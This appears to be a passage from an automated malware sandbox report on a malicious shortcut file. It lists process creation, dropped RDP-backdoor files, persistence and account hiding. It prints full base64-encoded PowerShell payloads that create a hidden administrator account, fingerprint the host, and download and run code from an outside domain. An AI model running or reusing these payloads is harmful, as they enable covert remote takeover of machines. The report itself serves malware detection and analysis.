CIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgADJump to behavior
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
            Source: rfxvmt.dll.58.drStatic PE information: 0xE004CD23 [Sat Feb 5 03:04:03 2089 UTC]
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline"
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline"Jump to behavior
            Source: svczHost.exe.11.drStatic PE information: section name: .managed
            Source: svczHost.exe.11.drStatic PE information: section name: hydrated
            Source: myRdpService.exe.22.drStatic PE information: section name: .managed
            Source: myRdpService.exe.22.drStatic PE information: section name: hydrated
            Source: rdp.exe.22.drStatic PE information: section name: .didata
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057B750B push ebx; iretd 2_2_00007FFC057B754A
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057AB730 pushfd ; ret 2_2_00007FFC057AB781
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057A841E push eax; ret 2_2_00007FFC057A842D
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057A7C1E push eax; retf 2_2_00007FFC057A7C2D
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057B73DA push ebx; iretd 2_2_00007FFC057B754A
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057A83EE pushad ; ret 2_2_00007FFC057A841D
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057A7BEE pushad ; retf 2_2_00007FFC057A7C1D
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC05870000 push eax; retf 2_2_00007FFC05870053
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC05F10001 push eax; retf 2_2_00007FFC05F10053
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 7_2_00007FFC056BD2A5 pushad ; iretd 7_2_00007FFC056BD2A6
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 7_2_00007FFC057D000B push eax; retf 7_2_00007FFC057D0063
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 7_2_00007FFC057D1FD2 push eax; iretd 7_2_00007FFC057D2009
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC0567D2A5 pushad ; iretd 11_2_00007FFC0567D2A6
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A660B push ss; ret 11_2_00007FFC057A660C
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A661A push ss; ret 11_2_00007FFC057A661C
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A65AB push ss; ret 11_2_00007FFC057A65AC
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC0579FDB8 push FFFFFFE8h; retf 11_2_00007FFC0579FDD1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A65BA push ss; ret 11_2_00007FFC057A65BC
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A65DB push ss; ret 11_2_00007FFC057A65DC
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A65EB push ss; ret 11_2_00007FFC057A65EC
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A65FB push ss; ret 11_2_00007FFC057A65FC
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A8483 pushfd ; ret 11_2_00007FFC057A8484
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A8492 pushfd ; ret 11_2_00007FFC057A8494
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A84A3 pushfd ; ret 11_2_00007FFC057A84A4
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A84B3 pushfd ; ret 11_2_00007FFC057A84B4
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A84D3 pushfd ; ret 11_2_00007FFC057A84D4
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A84E2 pushfd ; ret 11_2_00007FFC057A84E4
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A79B3 pushad ; ret 11_2_00007FFC057A79CA
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A79CB push eax; ret 11_2_00007FFC057A7A11
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A841E push eax; ret 11_2_00007FFC057A842D
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A7C1E push eax; retf 11_2_00007FFC057A7C2D

            Persistence and Installation Behavior

            barindex
            Windows shortcut file (LNK) starts blacklisted processes
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeJump to behavior
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeJump to behavior
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exeJump to behavior
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeJump to behavior
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: LNK fileProcess created: C:\Windows\System32\cmd.exe
            Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\Temp\rdpwrap.dllJump to dropped file
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\Temp\svczHost.exeJump to dropped file
            Source: C:\Windows\Temp\svczHost.exeFile created: C:\Windows\Temp\rdp.exeJump to dropped file
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\System32\rfxvmt.dllJump to dropped file
            Source: C:\Windows\Temp\svczHost.exeFile created: C:\Windows\Temp\myRdpService.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.dllJump to dropped file
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\Temp\rdpwrap.dllJump to dropped file
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\Temp\svczHost.exeJump to dropped file
            Source: C:\Windows\Temp\svczHost.exeFile created: C:\Windows\Temp\rdp.exeJump to dropped file
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\System32\rfxvmt.dllJump to dropped file
            Source: C:\Windows\Temp\svczHost.exeFile created: C:\Windows\Temp\myRdpService.exeJump to dropped file
            Source: C:\Windows\Temp\myRdpService.exeRegistry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService

            Hooking and other Techniques for Hiding and Protection

            barindex
            Contains functionality to hide user accounts
            Source: svczHost.exe, 00000016.00000002.2311893794.000001B16F045000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: aHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
            Hides user accounts
            Source: C:\Windows\Temp\svczHost.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList user1
            Loading BitLocker PowerShell Module
